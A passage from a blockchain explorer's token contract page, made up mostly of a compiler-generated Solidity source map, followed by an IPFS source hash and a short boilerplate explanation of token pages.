47:22;12315:64;:::i;:::-;12305:74;;12260:129;11733:663;;;;;:::o;12402:332::-;12523:4;12561:2;12550:9;12546:18;12538:26;;12574:71;12642:1;12631:9;12627:17;12618:6;12574:71;:::i;:::-;12655:72;12723:2;12712:9;12708:18;12699:6;12655:72;:::i;:::-;12402:332;;;;;:::o;12740:116::-;12810:21;12825:5;12810:21;:::i;:::-;12803:5;12800:32;12790:60;;12846:1;12843;12836:12;12790:60;12740:116;:::o;12862:137::-;12916:5;12947:6;12941:13;12932:22;;12963:30;12987:5;12963:30;:::i;:::-;12862:137;;;;:::o;13005:345::-;13072:6;13121:2;13109:9;13100:7;13096:23;13092:32;13089:119;;;13127:79;;:::i;:::-;13089:119;13247:1;13272:61;13325:7;13316:6;13305:9;13301:22;13272:61;:::i;:::-;13262:71;;13218:125;13005:345;;;;:::o;13356:180::-;13404:77;13401:1;13394:88;13501:4;13498:1;13491:15;13525:4;13522:1;13515:15;13542:180;13590:77;13587:1;13580:88;13687:4;13684:1;13677:15;13711:4;13708:1;13701:15;13728:191;13768:3;13787:20;13805:1;13787:20;:::i;:::-;13782:25;;13821:20;13839:1;13821:20;:::i;:::-;13816:25;;13864:1;13861;13857:9;13850:16;;13885:3;13882:1;13879:10;13876:36;;;13892:18;;:::i;:::-;13876:36;13728:191;;;;:::o;13925:114::-;13992:6;14026:5;14020:12;14010:22;;13925:114;;;:::o;14045:184::-;14144:11;14178:6;14173:3;14166:19;14218:4;14213:3;14209:14;14194:29;;14045:184;;;;:::o;14235:132::-;14302:4;14325:3;14317:11;;14355:4;14350:3;14346:14;14338:22;;14235:132;;;:::o;14373:108::-;14450:24;14468:5;14450:24;:::i;:::-;14445:3;14438:37;14373:108;;:::o;14487:179::-;14556:10;14577:46;14619:3;14611:6;14577:46;:::i;:::-;14655:4;14650:3;14646:14;14632:28;;14487:179;;;;:::o;14672:113::-;14742:4;14774;14769:3;14765:14;14757:22;;14672:113;;;:::o;14821:732::-;14940:3;14969:54;15017:5;14969:54;:::i;:::-;15039:86;15118:6;15113:3;15039:86;:::i;:::-;15032:93;;15149:56;15199:5;15149:56;:::i;:::-;15228:7;15259:1;15244:284;15269:6;15266:1;15263:13;15244:284;;;15345:6;15339:13;15372:63;15431:3;15416:13;15372:63;:::i;:::-;15365:70;;15458:60;15511:6;15458:60;:::i;:::-;15448:70;;15304:224;15291:1;15288;15284:9;15279:14;;15244:284;;;15248:14;15544:3;15537:10;;14945:608;;;14821:732;;;;:::o;15559:142::-;15609:9;15642:53;15660:34;15669:24;15687:5;15669:24;:::i;:::-;15660:34;:::i;:::-;15642:53;:::i;:::-;15629:66;;15559:142;;;:::o;15707:126::-;15757:9;15790:37;15821:5;15790:37;:::i;:::-;15777:50;;15707:126;;;:::o;15839:134::-;15897:9;15930:37;15961:5;15930:37;:::i;:::-;15917:50;;15839:134;;;:::o;15979:147::-;16074:45;16113:5;16074:45;:::i;:::-;16069:3;16062:58;15979:147;;:::o;16132:847::-;16403:4;16441:3;16430:9;16426:19;16418:27;;16455:71;16523:1;16512:9;16508:17;16499:6;16455:71;:::i;:::-;16536:80;16612:2;16601:9;16597:18;16588:6;16536:80;:::i;:::-;16663:9;16657:4;16653:20;16648:2;16637:9;16633:18;16626:48;16691:108;16794:4;16785:6;16691:108;:::i;:::-;16683:116;;16809:80;16885:2;16874:9;16870:18;16861:6;16809:80;:::i;:::-;16899:73;16967:3;16956:9;16952:19;16943:6;16899:73;:::i;:::-;16132:847;;;;;;;;:::o;16985:223::-;17125:34;17121:1;17113:6;17109:14;17102:58;17194:6;17189:2;17181:6;17177:15;17170:31;16985:223;:::o;17214:366::-;17356:3;17377:67;17441:2;17436:3;17377:67;:::i;:::-;17370:74;;17453:93;17542:3;17453:93;:::i;:::-;17571:2;17566:3;17562:12;17555:19;;17214:366;;;:::o;17586:419::-;17752:4;17790:2;17779:9;17775:18;17767:26;;17839:9;17833:4;17829:20;17825:1;17814:9;17810:17;17803:47;17867:131;17993:4;17867:131;:::i;:::-;17859:139;;17586:419;;;:::o;18011:221::-;18151:34;18147:1;18139:6;18135:14;18128:58;18220:4;18215:2;18207:6;18203:15;18196:29;18011:221;:::o;18238:366::-;18380:3;18401:67;18465:2;18460:3;18401:67;:::i;:::-;18394:74;;18477:93;18566:3;18477:93;:::i;:::-;18595:2;18590:3;18586:12;18579:19;;18238:366;;;:::o;18610:419::-;18776:4;18814:2;18803:9;18799:18;18791:26;;18863:9;18857:4;18853:20;18849:1;18838:9;18834:17;18827:47;18891:131;19017:4;18891:131;:::i;:::-;18883:139;;18610:419;;;:::o;19035:224::-;19175:34;19171:1;19163:6;19159:14;19152:58;19244:7;19239:2;19231:6;19227:15;19220:32;19035:224;:::o;19265:366::-;19407:3;19428:67;19492:2;19487:3;19428:67;:::i;:::-;19421:74;;19504:93;19593:3;19504:93;:::i;:::-;19622:2;19617:3;19613:12;19606:19;;19265:366;;;:::o;19637:419::-;19803:4;19841:2;19830:9;19826:18;19818:26;;19890:9;19884:4;19880:20;19876:1;19865:9;19861:17;19854:47;19918:131;20044:4;19918:131;:::i;:::-;19910:139;;19637:419;;;:::o;20062:222::-;20202:34;20198:1;20190:6;20186:14;20179:58;20271:5;20266:2;20258:6;20254:15;20247:30;20062:222;:::o;20290:366::-;20432:3;20453:67;20517:2;20512:3;20453:67;:::i;:::-;20446:74;;20529:93;20618:3;20529:93;:::i;:::-;20647:2;20642:3;20638:12;20631:19;;20290:366;;;:::o;20662:419::-;20828:4;20866:2;20855:9;20851:18;20843:26;;20915:9;20909:4;20905:20;20901:1;20890:9;20886:17;20879:47;20943:131;21069:4;20943:131;:::i;:::-;20935:139;;20662:419;;;:::o;21087:228::-;21227:34;21223:1;21215:6;21211:14;21204:58;21296:11;21291:2;21283:6;21279:15;21272:36;21087:228;:::o;21321:366::-;21463:3;21484:67;21548:2;21543:3;21484:67;:::i;:::-;21477:74;;21560:93;21649:3;21560:93;:::i;:::-;21678:2;21673:3;21669:12;21662:19;;21321:366;;;:::o;21693:419::-;21859:4;21897:2;21886:9;21882:18;21874:26;;21946:9;21940:4;21936:20;21932:1;21921:9;21917:17;21910:47;21974:131;22100:4;21974:131;:::i;:::-;21966:139;;21693:419;;;:::o;22118:297::-;22258:34;22254:1;22246:6;22242:14;22235:58;22327:34;22322:2;22314:6;22310:15;22303:59;22396:11;22391:2;22383:6;22379:15;22372:36;22118:297;:::o;22421:366::-;22563:3;22584:67;22648:2;22643:3;22584:67;:::i;:::-;22577:74;;22660:93;22749:3;22660:93;:::i;:::-;22778:2;22773:3;22769:12;22762:19;;22421:366;;;:::o;22793:419::-;22959:4;22997:2;22986:9;22982:18;22974:26;;23046:9;23040:4;23036:20;23032:1;23021:9;23017:17;23010:47;23074:131;23200:4;23074:131;:::i;:::-;23066:139;;22793:419;;;:::o;23218:175::-;23358:27;23354:1;23346:6;23342:14;23335:51;23218:175;:::o;23399:366::-;23541:3;23562:67;23626:2;23621:3;23562:67;:::i;:::-;23555:74;;23638:93;23727:3;23638:93;:::i;:::-;23756:2;23751:3;23747:12;23740:19;;23399:366;;;:::o;23771:419::-;23937:4;23975:2;23964:9;23960:18;23952:26;;24024:9;24018:4;24014:20;24010:1;23999:9;23995:17;23988:47;24052:131;24178:4;24052:131;:::i;:::-;24044:139;;23771:419;;;:::o;24196:176::-;24336:28;24332:1;24324:6;24320:14;24313:52;24196:176;:::o;24378:366::-;24520:3;24541:67;24605:2;24600:3;24541:67;:::i;:::-;24534:74;;24617:93;24706:3;24617:93;:::i;:::-;24735:2;24730:3;24726:12;24719:19;;24378:366;;;:::o;24750:419::-;24916:4;24954:2;24943:9;24939:18;24931:26;;25003:9;24997:4;24993:20;24989:1;24978:9;24974:17;24967:47;25031:131;25157:4;25031:131;:::i;:::-;25023:139;;24750:419;;;:::o;25175:233::-;25214:3;25237:24;25255:5;25237:24;:::i;:::-;25228:33;;25283:66;25276:5;25273:77;25270:103;;25353:18;;:::i;:::-;25270:103;25400:1;25393:5;25389:13;25382:20;;25175:233;;;:::o;25414:194::-;25454:4;25474:20;25492:1;25474:20;:::i;:::-;25469:25;;25508:20;25526:1;25508:20;:::i;:::-;25503:25;;25552:1;25549;25545:9;25537:17;;25576:1;25570:4;25567:11;25564:37;;;25581:18;;:::i;:::-;25564:37;25414:194;;;;:::o;25614:831::-;25877:4;25915:3;25904:9;25900:19;25892:27;;25929:71;25997:1;25986:9;25982:17;25973:6;25929:71;:::i;:::-;26010:80;26086:2;26075:9;26071:18;26062:6;26010:80;:::i;:::-;26137:9;26131:4;26127:20;26122:2;26111:9;26107:18;26100:48;26165:108;26268:4;26259:6;26165:108;:::i;:::-;26157:116;;26283:72;26351:2;26340:9;26336:18;26327:6;26283:72;:::i;:::-;26365:73;26433:3;26422:9;26418:19;26409:6;26365:73;:::i;:::-;25614:831;;;;;;;;:::o;26451:410::-;26491:7;26514:20;26532:1;26514:20;:::i;:::-;26509:25;;26548:20;26566:1;26548:20;:::i;:::-;26543:25;;26603:1;26600;26596:9;26625:30;26643:11;26625:30;:::i;:::-;26614:41;;26804:1;26795:7;26791:15;26788:1;26785:22;26765:1;26758:9;26738:83;26715:139;;26834:18;;:::i;:::-;26715:139;26499:362;26451:410;;;;:::o;26867:180::-;26915:77;26912:1;26905:88;27012:4;27009:1;27002:15;27036:4;27033:1;27026:15;27053:185;27093:1;27110:20;27128:1;27110:20;:::i;:::-;27105:25;;27144:20;27162:1;27144:20;:::i;:::-;27139:25;;27183:1;27173:35;;27188:18;;:::i;:::-;27173:35;27230:1;27227;27223:9;27218:14;;27053:185;;;;:::o;27244:220::-;27384:34;27380:1;27372:6;27368:14;27361:58;27453:3;27448:2;27440:6;27436:15;27429:28;27244:220;:::o;27470:366::-;27612:3;27633:67;27697:2;27692:3;27633:67;:::i;:::-;27626:74;;27709:93;27798:3;27709:93;:::i;:::-;27827:2;27822:3;27818:12;27811:19;;27470:366;;;:::o;27842:419::-;28008:4;28046:2;28035:9;28031:18;28023:26;;28095:9;28089:4;28085:20;28081:1;28070:9;28066:17;28059:47;28123:131;28249:4;28123:131;:::i;:::-;28115:139;;27842:419;;;:::o;28267:177::-;28407:29;28403:1;28395:6;28391:14;28384:53;28267:177;:::o;28450:366::-;28592:3;28613:67;28677:2;28672:3;28613:67;:::i;:::-;28606:74;;28689:93;28778:3;28689:93;:::i;:::-;28807:2;28802:3;28798:12;28791:19;;28450:366;;;:::o;28822:419::-;28988:4;29026:2;29015:9;29011:18;29003:26;;29075:9;29069:4;29065:20;29061:1;29050:9;29046:17;29039:47;29103:131;29229:4;29103:131;:::i;:::-;29095:139;;28822:419;;;:::o

Swarm Source

ipfs://0bd2d4fbf99a27b1e9005e837efc3d008b50a79ce1404a782ced07dc358f9797
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.